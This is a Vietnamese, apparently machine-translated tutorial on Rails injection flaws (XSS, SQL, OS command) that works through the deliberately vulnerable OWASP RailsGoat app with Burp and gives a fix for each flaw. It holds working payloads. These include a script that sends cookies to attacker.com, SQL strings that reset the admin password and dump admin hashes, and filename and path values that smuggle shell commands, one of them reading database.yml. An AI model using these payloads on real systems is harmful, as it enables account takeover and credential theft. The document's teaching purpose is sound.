Nếu xử lý dữ liệu người dùng, bạn cần đảm bảo rằng dữ liệu đó an toàn. Tuy nhiên, nếu bạn là người mới làm quen với bảo mật, nó có vẻ phức tạp, nhàm chán và phức tạp.
Bài viết này là bài đầu tiên trong loạt bài sẽ hướng dẫn bạn về các loại lỗ hổng bảo mật phổ biến và cách chúng ảnh hưởng đến sự phát triển của Rails. Chúng tôi sẽ sử dụng 10 rủi ro bảo mật ứng dụng web hàng đầu của OWASP làm bản đồ của chúng tôi thông qua địa hình này.
OWASP là viết tắt của Dự án bảo mật ứng dụng web mở. Đó là một nhóm các chuyên gia làm việc để giáo dục thế giới về các vấn đề bảo mật quan trọng trên web. Top 10 của họ danh sách liệt kê các lỗ hổng phổ biến nhất trong các ứng dụng web:
- Tiêm
- Xác thực bị hỏng
- Hiển thị dữ liệu nhạy cảm
- Các thực thể bên ngoài XML (XXE)
- Kiểm soát truy cập bị hỏng
- Cấu hình sai bảo mật
- Tập lệnh trên nhiều trang web (XSS)
- Giải mã không an toàn
- Sử dụng các thành phần có lỗ hổng đã biết
- Ghi nhật ký và giám sát không đầy đủ
Mặc dù họ cập nhật danh sách thường xuyên, nhưng nó thay đổi ít hơn bạn có thể mong đợi. Các công nghệ mới kế thừa những vấn đề cũ. Đặc biệt, trong phần này, chúng tôi sẽ đề cập đến ba chủ đề liên quan đến tiêm:
- JavaScript Injection - khi các ứng dụng chấp nhận dữ liệu độc hại từ máy khách của họ, không xác thực / khử trùng dữ liệu và gửi dữ liệu trở lại trình duyệt.
- SQL Injection - khi các phần SQL được cố tình gửi như một phần của truy vấn cơ sở dữ liệu đến trình thông dịch SQL không an toàn, lừa trình thông dịch chạy các lệnh nguy hiểm hoặc truy cập thông tin nhạy cảm.
- Hệ điều hành Injection - khi những kẻ tấn công nhắm đến việc chạy các lệnh hệ thống trên các ứng dụng không được bảo vệ để nhập dữ liệu từ các lệnh hệ thống.
Chúng tôi sẽ đi từ lý thuyết đến thực hành để chứng minh hoàn toàn cách hoạt động của từng cái. Vì vậy, hãy đi sâu vào!
Đe doạ Tiêm
Nếu bạn quản lý một nguồn dữ liệu trong ứng dụng của mình, thì bạn có thể có một vectơ tiêm vào bên trong nó. Khi nói đến những cách sáng tạo và sáng tạo để hack ứng dụng của bạn, tin tặc tiếp tục phát minh ra những thứ mới khiến bạn ngạc nhiên.
Hãy bắt đầu với thế giới của các cuộc tấn công của tiêm. Nếu bạn cho rằng ứng dụng của mình đã được vệ sinh và bảo vệ, hãy suy nghĩ lại.
Tiêm JavaScript
Việc đưa JavaScript, thường được gọi là mã chéo trang web (XSS), tất cả đều nhằm đánh lừa ứng dụng phụ trợ (mà khách hàng tin tưởng) để gửi dữ liệu độc hại và / hoặc tập lệnh trở lại trình duyệt.
Khi điều này xảy ra, những kẻ tấn công có thể chạy các tập lệnh trong trình duyệt của người dùng để đánh cắp phiên của nó, yêu cầu thông tin nhạy cảm "nhân danh" ứng dụng hoặc chuyển hướng người dùng đến các trang web nguy hiểm.
Hãy lấy phần bình luận blog nổi tiếng làm ví dụ. Hãy tưởng tượng rằng ứng dụng của bạn hoàn toàn dễ bị tấn công và nhận được ĐĂNG cho một nhận xét mới trong blog của bạn và giá trị sẽ chuyển trực tiếp đến cơ sở dữ liệu mà không cần sanitization:
POST https://myblog.com/comments
data: <script>window.location='https://attacker.com?cookie='+document.cookie</script>
Khi trang web của bạn tải lại phần nhận xét, nó sẽ tìm nạp nhận xét mới, phần này sẽ thực thi tập lệnh đã cho trên trình duyệt.
Tập lệnh, chạy trong trang ứng dụng (hoàn toàn có thể chấp nhận được), lấy thông tin cookie của người dùng và gửi trực tiếp đến trang của kẻ tấn công.
SQL Injjection
Việc đưa vào SQL xảy ra khi một ứng dụng xử lý cơ sở dữ liệu SQL không khử trùng an toàn đầu vào của người dùng bất cứ khi nào đầu vào này được nối (hoặc nội suy) với bất kỳ truy vấn nào của bạn.
Có hai mối đe dọa chính liên quan đến việc chèn SQL mà bạn có thể biết trong thế giới Rails: ghép nối tiêm và nội suy . Hãy kiểm tra sự khác biệt.
Nối ghép nội dung SQL là nổi tiếng nhất; nó xảy ra khi kẻ tấn công gửi các đoạn SQL nguy hiểm như một phần của tham số truy vấn HTTP hoặc nội dung yêu cầu. Đó là một thủ thuật hoạt động với hầu hết các cơ sở dữ liệu nếu các lớp ứng dụng của bạn không thể xác định loại nội dung này và làm sạch nó.
Ví dụ:hãy tưởng tượng rằng bạn đang truy vấn người dùng bằng tên người dùng của họ để truy xuất thông tin nhạy cảm:
User.where("name = '#{userName}'")
Xem xét userName đó là đầu vào của người dùng không được làm sạch, kẻ tấn công có thể thay đổi giá trị của tham số thành
' OR '1'='1' --
Do đó, truy vấn của bạn sẽ được chuyển thành sau:
SELECT * FROM users WHERE username = '' OR '1'='1';
Vì điều kiện được thêm mới nhất luôn bằng true , truy vấn này sẽ luôn được thực thi, làm lộ hàng trăm phần dữ liệu nhạy cảm từ người dùng của bạn.
Nội suy SQL có thể dẫn đến tiêm. Làm sao? Bạn có nhớ lại tính năng xác định phạm vi không của Rails 'ActiveRecord? Nó cho phép chúng tôi chỉ định các truy vấn mà bạn sử dụng rất nhiều để được tham chiếu dưới dạng lời gọi phương thức (chẳng hạn như where , joins và includes ) trên các đối tượng hoặc mô hình liên kết. Lấy ví dụ sau:
class User < ApplicationRecord
scope :filtered_name, -> { where(name: interpolated_string) }
end
Bạn có thể đã đoán được phần còn lại. Nếu có where để một nhà phát triển có thể nối các giá trị đầu vào không được làm sạch, nó sẽ dẫn đến khá giống với việc chèn SQL trong ví dụ trước.
Thuốc tiêm hệ điều hành
Việc đưa vào hệ điều hành xảy ra khi một ứng dụng cho phép người dùng nhập các lệnh cấp hệ thống và không lọc chúng.
Hậu quả có thể rất nguy hiểm vì kẻ tấn công sẽ có một đường hầm miễn phí tới hệ điều hành mà ứng dụng đang chạy. Tùy thuộc vào cách các lớp bảo mật cơ sở của hệ điều hành được thiết lập, nó cũng có thể làm lộ dữ liệu và tệp từ các ứng dụng khác đang chạy ở đó.
Bất cứ khi nào bạn nhìn thấy một trong những dòng mã sau trong cơ sở mã Rails, hãy lưu ý rằng việc chèn hệ điều hành có thể xảy ra ở đó:
%x[...]
system()
exec()
`my command` // the backticks
Xem xét việc triển khai Rails sau:
new_path = "/root/public/images/#{some_path}"
system("ls #{new_path}")
Cho rằng some_path đến từ máy khách, kẻ tấn công có thể gửi giá trị như sau:
some_path = 'some/path; cat ./config/database.yml'
Bạn hiểu rồi, phải không? Tất cả dữ liệu cơ sở dữ liệu, bao gồm cả thông tin đăng nhập (nếu chúng không được lưu trữ an toàn trong một đám mây cấu hình), sẽ bị lộ cho kẻ tấn công.
Dự án RailsGoat
Để tiết kiệm thời gian và tránh phải phát triển một loạt các ví dụ dễ bị tấn công từ đầu, may mắn thay, chúng tôi có dự án RailsGoat. Đây là một trong vô số dự án mã nguồn mở (754 dự án) được cung cấp bởi kho lưu trữ OWASP GitHub chính thức, được tạo cho Rails với hầu hết 10 lỗ hổng hàng đầu được lập trình có chủ đích để giáo dục các nhà phát triển về các mối đe dọa bảo mật.
Trong loạt bài này, chúng tôi sẽ sử dụng các mẫu dự án để khám phá các rủi ro sâu hơn một chút và thậm chí còn tốt hơn khi thực hiện!
Thiết lập
Trước khi bạn tiếp tục, dự án này có một số phụ thuộc bắt buộc:Ruby, Git, MySQL và Postgres. Đảm bảo đã cài đặt tất cả chúng vào máy của bạn trước khi tiếp tục.
Để thiết lập dự án, trước tiên, hãy sao chép nó cục bộ:
git clone https://github.com/OWASP/railsgoat.git
Nó được nhắm mục tiêu theo mặc định trong Ruby 2.6.5, vì vậy hãy đảm bảo cài đặt phiên bản phù hợp nếu bạn vẫn chưa có:
rvm install "ruby-2.6.5"
Tiếp theo, đưa ra các lệnh sau trong thư mục gốc của ứng dụng:
bundle install
rails db:setup
rails s
Họ sẽ tải xuống và cài đặt các phần phụ thuộc của dự án Rails, thiết lập cơ sở dữ liệu và khởi động máy chủ Rails tương ứng.
Một vài điều chỉnh
Tùy thuộc vào hệ điều hành của bạn và vì RailsGoat đã lỗi thời một chút (bản phát hành mới nhất là vào tháng 3 năm 2018), install lệnh có thể tạo ra một số lỗi. Ví dụ:nếu bạn đang sử dụng máy Mac và gặp lỗi sau trên bảng điều khiển của mình:
Lỗi bảng điều khiển về libv8
sau đó, chỉ cần cài đặt gem được yêu cầu:
gem install libv8 -v '3.16.14.19' -- --with-system-v8
Một cái khác mà nó có thể sẽ đổ lỗi là therubyracer đá quý do một lỗi liên quan đến phiên bản này của Ruby's libv8 . Đảm bảo chạy các lệnh sau:
brew install v8-315
gem install therubyracer -v '0.12.3' -- --with-v8-dir=/usr/local/opt/v8@3.15
Theo mặc định, cài đặt hiện tại sẽ coi SQLite là cơ sở dữ liệu mặc định. Tuy nhiên, đối với các ví dụ tiếp theo, chúng ta sẽ cần một cơ sở dữ liệu thực. Chúng tôi sẽ sử dụng MySQL.
Trước tiên, hãy mở tệp config / database.yml, định vị mysql và thay đổi cấu hình theo thông tin đăng nhập MySQL của bạn. Bạn có thể để nguyên tên cơ sở dữ liệu.
Dừng máy chủ Rails và đảm bảo đã thiết lập và chạy MySQL; sau đó, chạy các lệnh sau:
#Create the MySQL database
RAILS_ENV=mysql rails db:create
#Run the migrations against the database
RAILS_ENV=mysql rails db:migrate
#Seeds the database with initial records
RAILS_ENV=mysql rails db:seed
#Boot Rails using MySQl
RAILS_ENV=mysql rails s
Ngoài ra, bạn có thể bắt đầu RailsGoat thông qua Docker. Tùy thuộc vào bạn!
Đó là nó! Bây giờ, bạn có thể mở trình duyệt và đăng nhập vào ứng dụng RailsGoat. Bạn có thể tìm thấy thông tin đăng nhập được tạo tự động có sẵn tại nút "Thông tin đăng nhập hướng dẫn" của thanh trên cùng. Chọn một, nhưng đảm bảo rằng đó không phải là người dùng quản trị viên.
Ứng dụng MetaCorp Rails
Thiết lập proxy HTTP
Tin tặc hoạt động bằng cách đánh hơi xung quanh nội dung, chủ yếu là các yêu cầu và phản hồi HTTP. Họ sử dụng các ứng dụng proxy HTTP chạy giữa trình duyệt và máy chủ bằng cách chặn, hiển thị và sửa đổi các yêu cầu và phản hồi.
Đối với loạt bài này, chúng ta cũng sẽ cần một trong số những thứ này, và công cụ hoàn hảo cho công việc này là Burp. Nó là một công cụ trả phí dành cho doanh nghiệp, nhưng phiên bản cộng đồng miễn phí là quá đủ cho các mục đích của chúng tôi. Vì vậy, hãy tiếp tục, tải xuống và cài đặt nó bằng cách làm theo hướng dẫn chính thức.
Hãy nhớ rằng Burp được tạo bằng Java, vì vậy bạn cũng cần phải cài đặt Java.
Đảm bảo làm theo các hướng dẫn này để làm cho nó hoạt động chính xác. Khi công cụ được mở, hãy chuyển đến Proxy> Intercept , chuyển đổi nút " Đã bật tính năng chặn "và sau đó" Mở trình duyệt ". Thao tác này sẽ mở một Google Chromium được kết nối trực tiếp với Burp và cho phép chúng tôi đánh giá các yêu cầu / phản hồi.
Nhập nội dung nào đó vào đó và xem cách Burp theo dõi mọi thứ.
Đe dọa đang hành động
Bây giờ chúng ta hãy xem từng mối đe dọa mà chúng ta đã thảo luận trước đó diễn ra như thế nào trong các tình huống thực tế. Chúng tôi sẽ bắt đầu với việc đưa JavaScript.
Tiêm JavaScript trong Hành động
Trong ứng dụng RailsGoat, hãy mở _header.html.erb tệp nằm trong lượt xem / bố cục / chia sẻ thư mục. Bạn có thể gặp đoạn mã HTML sau:
<li style="color: #FFFFFF">Welcome, <%= current_user.first_name.html_safe %></li>
Chà, hóa ra là phương thức Rails này gọi một cái tên an toàn, nhưng không phải vậy. Nó cho biết liệu chuỗi có được tin cậy là an toàn hay không nhưng không khử trùng đầu vào của người dùng.
Đảm bảo rằng Burp không chạy, sau đó đi đến trang đăng ký và nhập thông tin sau vào trường "Tên":
<script>alert("hello, XSS!")</script>
Hoàn tất đăng ký và đăng nhập với người dùng mới được tạo. Bạn có thể thấy thanh điều hướng hiển thị "Welcome " + the script code .
Cách giải quyết vấn đề này
Đây là một sự hiểu lầm phổ biến. Các nhà phát triển thường sử dụng phương pháp này, nhưng nó không bảo mật dữ liệu. Thay vào đó, bạn phải sử dụng sanitize bất cứ khi nào bạn cần hiển thị HTML một cách rõ ràng.
Trong ví dụ này, chỉ cần xóa .html_safe và cuộc tấn công sẽ bị loại bỏ.
Một mẹo hay là kết hợp các công cụ như SonarQube vào các dự án của bạn. Các công cụ này xác định các mối đe dọa phổ biến như ở trên và cảnh báo cho nhà phát triển về các mối nguy hiểm cũng như cách khắc phục chúng.
Không nên chỉ dựa vào trí nhớ của nhà phát triển.
SQL Injection:Một ví dụ về nối
Ví dụ chèn SQL RailsGoat của chúng tôi nằm trong users_controller.rb , bên trong ứng dụng / bộ điều khiển thư mục. Mở nó ra và xem lại nội dung của nó.
Bạn có thể thấy hai phương pháp chính để tạo và cập nhật dữ liệu người dùng trong cơ sở dữ liệu. Bạn có thể phát hiện điều gì đó không ổn với update của chúng tôi không phương pháp? Hãy thử đi!
Đây rồi:
user = User.where("id = '#{params[:user][:id]}'")[0]
Bạn biết rằng việc nối các nội dung trong mệnh đề where là không đúng. Tuy nhiên, hãy kiểm tra các khả năng tấn công trước khi sửa chữa nó.
Quay lại ứng dụng đang chạy trên trình duyệt Burp Chromium và điều hướng đến Cài đặt tài khoản menu:
Truy cập cài đặt tài khoản
Khi đó, hãy mở công cụ Burp và đảm bảo rằng nút " Đánh chặn đang bật "được bật tắt. Sau đó, điền vào các trường mật khẩu với một số giá trị và nhấp vào Gửi .
Burp sẽ chặn yêu cầu và trong Params , bạn có thể thấy một cái gì đó tương tự như những gì được hiển thị bên dưới.
Công cụ Burp Suite - Tab tham số
Có, tất cả các thông số yêu cầu của bạn đều hiển thị ở đây. Chúng không chỉ hiển thị mà còn có thể chỉnh sửa. Burp sẽ giữ yêu cầu của bạn cho đến khi bạn hoàn thành các chỉnh sửa và sau đó đưa nó lên máy chủ.
Bạn có thể làm tương tự đối với các câu trả lời của mình.
Tuyệt vời, vì vậy, hãy đánh lừa ứng dụng. Mục tiêu của chúng tôi là cập nhật mật khẩu của người dùng quản trị thay vì người dùng đã đăng nhập hiện tại.
Trước tiên, bạn cần xóa email của người dùng , first_name và last_name tham số bởi vì chúng tôi không nhằm mục đích thay đổi các giá trị này cho người dùng quản trị viên.
Thứ hai, bạn có thể chỉnh sửa user[id] giá trị tham số như sau:
0') OR admin = true -- '
Những gì đang xảy ra ở đây? Giá trị được trưng bày ở trên 6 đề cập đến id người dùng đã ghi hiện tại. Tuy nhiên, chúng tôi không muốn thay đổi bất kỳ điều gì liên quan đến người dùng này, chỉ là quản trị viên. Số 0 liên quan đến không ai cả, điều này tốt vì điều kiện sau OR là điều quan trọng đối với chúng tôi.
Xét rằng chúng tôi không biết id của quản trị viên (tốt, nếu bạn biết, nó sẽ tiết kiệm thời gian), chúng tôi phải lừa cơ sở dữ liệu chọn nó thông qua admin cột vai trò.
Khi bạn hoàn tất chỉnh sửa, hãy nhấp vào nút Chuyển tiếp để yêu cầu được đưa ra và mật khẩu của quản trị viên được cập nhật.
Đây là SQL Rails sẽ tạo:
SELECT `users`.* FROM `users` WHERE (id = '0') OR admin = true -- '')
Bây giờ, hãy tiếp tục và đăng nhập vào tài khoản quản trị bằng mật khẩu mới của bạn.
Cách giải quyết vấn đề này
Có một số cách an toàn để giải quyết vấn đề này. Bạn luôn có thể truy xuất người dùng từ cơ sở dữ liệu trước khi nó được cập nhật, bất kể điều gì đến từ các yêu cầu của khách hàng.
Tuy nhiên, nó phụ thuộc vào phong cách mã hóa của nhà phát triển, điều này không phải lúc nào cũng được đảm bảo.
Vì vậy, đó là các truy vấn cơ sở dữ liệu được tham số hóa để giải cứu! Hãy xem:
user = User.where("id = ?", params[:user][:id])[0]
Nó đơn giản như vậy! Không còn bị hack nữa.
SQL Injection:Một ví dụ về nội suy
Trong RailsGoat, mỗi yêu cầu được lưu trữ trong cơ sở dữ liệu như một tính năng kiểm tra. Đối với ví dụ này, hãy phân tích analytics.rb lớp lưu trữ một phạm vi được gọi là hits_by_ip . Đây là tính năng quản trị viên liệt kê dữ liệu yêu cầu từ cơ sở dữ liệu.
Hãy xem cách mô hình này nội suy các chuỗi trong phạm vi của nó:
scope :hits_by_ip, ->(ip, col = "*") { select("#{col}").where(ip_address: ip).order("id DESC") }
Tuy nhiên, cách làm này rất nguy hiểm! Hãy xem tại sao. Vì bạn đăng nhập với tư cách là người dùng bình thường, một số menu sẽ không hiển thị, nhưng điều đó không có nghĩa là điểm cuối của chúng không khả dụng. Vì vậy, hãy tiếp tục và truy cập vào địa chỉ https:// localhost:3000 / admin / 1 / analytics.
Vì chúng tôi đang làm việc ở cấp máy chủ cục bộ, bạn sẽ chỉ tìm thấy dữ liệu trong 127.0.0.1 IP. Tuy nhiên, trong quá trình sản xuất, bạn sẽ tìm kiếm IP khách hàng của mình.
Vì vậy, hãy nhập 127.0.0.1 vào " Tìm kiếm theo IP "hộp văn bản và nhấn enter. Đừng quên bật nút chặn trên công cụ Burp của bạn.
Sau khi bạn ở trên Params , bạn có thể nhấp vào tab Thêm để thêm thông số mới của URL nhập và đặt tên sau:
field[(select+group_concat(password)+from+users+where+admin=true)]
Vì phạm vi nhận một chuỗi nội suy, bạn có thể chỉ cần thêm bao nhiêu quy tắc vào truy vấn chọn tùy thích. Đặc biệt, truy vấn này sẽ chuyển thành sau:
SELECT (select group_concat(password) from users where admin = true) FROM analytics WHERE ip_address = "127.0.0.1" ORDER BY id DESC;
Điều đó có nghĩa là chúng tôi đang truy xuất mật khẩu đã băm của quản trị viên từ cơ sở dữ liệu và hiển thị trực tiếp trong chế độ xem của chúng tôi:
Truy vấn mật khẩu đã băm của quản trị viên
Làm cách nào để giải quyết vấn đề này?
Trước hết, hãy đảm bảo rằng người dùng của bạn sẽ chỉ có quyền truy cập vào những gì họ phải truy cập. Các điểm cuối như vậy không được truy cập hoặc không được bảo vệ.
Là một cách tiếp cận phòng ngừa khác, bạn có thể đưa vào danh sách trắng các giá trị nên được chấp nhận và hạn chế những giá trị không nên. Hãy xem parse_field trong cùng một lớp mô hình. Nó xác minh xem trường đã cho có được bao gồm trong mảng danh sách trắng hay không.
Vì vậy, trước khi gọi phạm vi của mô hình, bạn có thể lặp lại các tham số và kiểm tra xem chúng có ổn không. Hãy làm điều đó bằng cách cập nhật dòng 18 của admin_controller.rb (gọi phạm vi):
fields = params[:field].map {|k,v| Analytics.parse_field(k) }.join(",")
Hành động Tiêm OS
Hãy cùng khám phá một ví dụ về việc chèn hệ điều hành trong RailsGoat. Mở lợi ích.rb mô hình trong ứng dụng / mô hình và kiểm tra make_backup của nó phương pháp.
Phương pháp này tạo bản sao lưu của tệp đang được tải lên qua “ Biểu mẫu lợi ích ”Của ứng dụng. Dường như không có vấn đề gì ở đây, ngoại trừ phương pháp sử dụng system lệnh:
silence_streams(STDERR) { system("cp #{full_file_name} #{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}") }
Nó có vẻ đúng ngay từ cái nhìn đầu tiên, nhưng hãy nhìn lại. Chúng tôi hoàn toàn có thể nối các lệnh hệ thống khác từ đầu vào của người dùng và chúng sẽ chạy tốt, chẳng hạn như tạo tệp.
Chờ đã, đây là một tính năng tải lên tệp; làm thế nào chúng ta có thể cập nhật đầu vào của một tệp? Hãy xem nó hoạt động.
Quay lại ứng dụng RailsGoat, nhấp vào menu "Biểu mẫu lợi ích", chọn một tệp tùy chọn của bạn và bật nút chặn Burp của bạn. Sau đó, nhấp vào Bắt đầu tải lên .
Khi yêu cầu bị chặn, bạn sẽ có thể thấy nội dung tiêu đề của nó, như được hiển thị bên dưới.
Đã chặn tải tệp lên
Trong hình ảnh, bạn có thể thấy hai tham số được đánh dấu:benefits[backup] và benefits[upload] .
Chúng ta cần thay đổi giá trị của giá trị đầu tiên thành true vì chúng tôi muốn kích hoạt quy trình tạo bản sao lưu của tệp và do đó, nơi lỗ hổng bảo mật tồn tại.
Tiếp theo, thay đổi filename thuộc tính của thông số thứ hai của bạn như sau:
filename="kid-2.png;+touch+abc.txt"
Sau đó, thả nút chặn. Điều này sẽ chuyển thành một lệnh mới khi kết thúc quá trình thực thi, lệnh này sẽ tạo ra một tệp mới có tên là abc.txt . Ngoài việc đơn giản, đây là một ví dụ điển hình về mức độ dễ bị tổn thương của luồng của bạn và liệu đó có phải là sân chơi hoàn hảo cho tin tặc hay không.
Bảo vệ chống lại việc đưa vào hệ điều hành
Nó có vẻ hơi rõ ràng; tại sao ai đó sao chép một tập tin thông qua các hệ thống lệnh? Bạn sẽ bị sốc bởi số lượng ứng dụng cũ đang chạy ra khỏi đó. Rất nhiều trong số chúng bao gồm các cơ sở mã khổng lồ, có thể biến công việc phát hiện các lỗ hổng bảo mật như vậy thành một nhiệm vụ cực kỳ nghiêm trọng.
Vì vậy, có, chỉ cần sử dụng các thư viện bên trong chính thức, như Ruby’s FileUtils:
FileUtils.cp
"#{full_file_name}",
"#{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}"
Kết thúc
Hôm nay, chúng tôi đã đi qua vùng nước hỗn loạn của các mối đe dọa an ninh tiêm chích. Mặc dù phần này không bao gồm tất cả các vấn đề liên quan xung quanh các vấn đề tiêm, nó khám phá những vấn đề nổi tiếng nhất, như được xác định bởi OWASP.
Như một phần thưởng, tôi sẽ cung cấp một số liên kết quan trọng sẽ giúp nâng cao kiến thức của bạn về chủ đề này. Tất nhiên, bài đầu tiên là bài báo Top Ten của OWASP; nó có rất nhiều liên kết bên ngoài đến các bài viết khác bao gồm các ví dụ và các tình huống khác nhau.
Rails SQL Injection là tài liệu được biên dịch do một số thành viên của cộng đồng quản lý nhằm giải quyết các lỗi SQL phổ biến thông qua các ví dụ thực tế. Đây là cuốn sách cần phải đọc sau những gì chúng tôi đã đề cập cho đến nay.
Cuối cùng nhưng không kém phần quan trọng, có các tài liệu chính thức về Security Rails. Chúng bao gồm mọi thứ liên quan đến bảo mật trong các ứng dụng Rails, bao gồm cả việc tiêm. Vì vậy, hãy nhớ đọc kỹ. Hãy tiếp tục việc học của bạn và chúng tôi sẽ hẹn gặp bạn ở điểm dừng tiếp theo!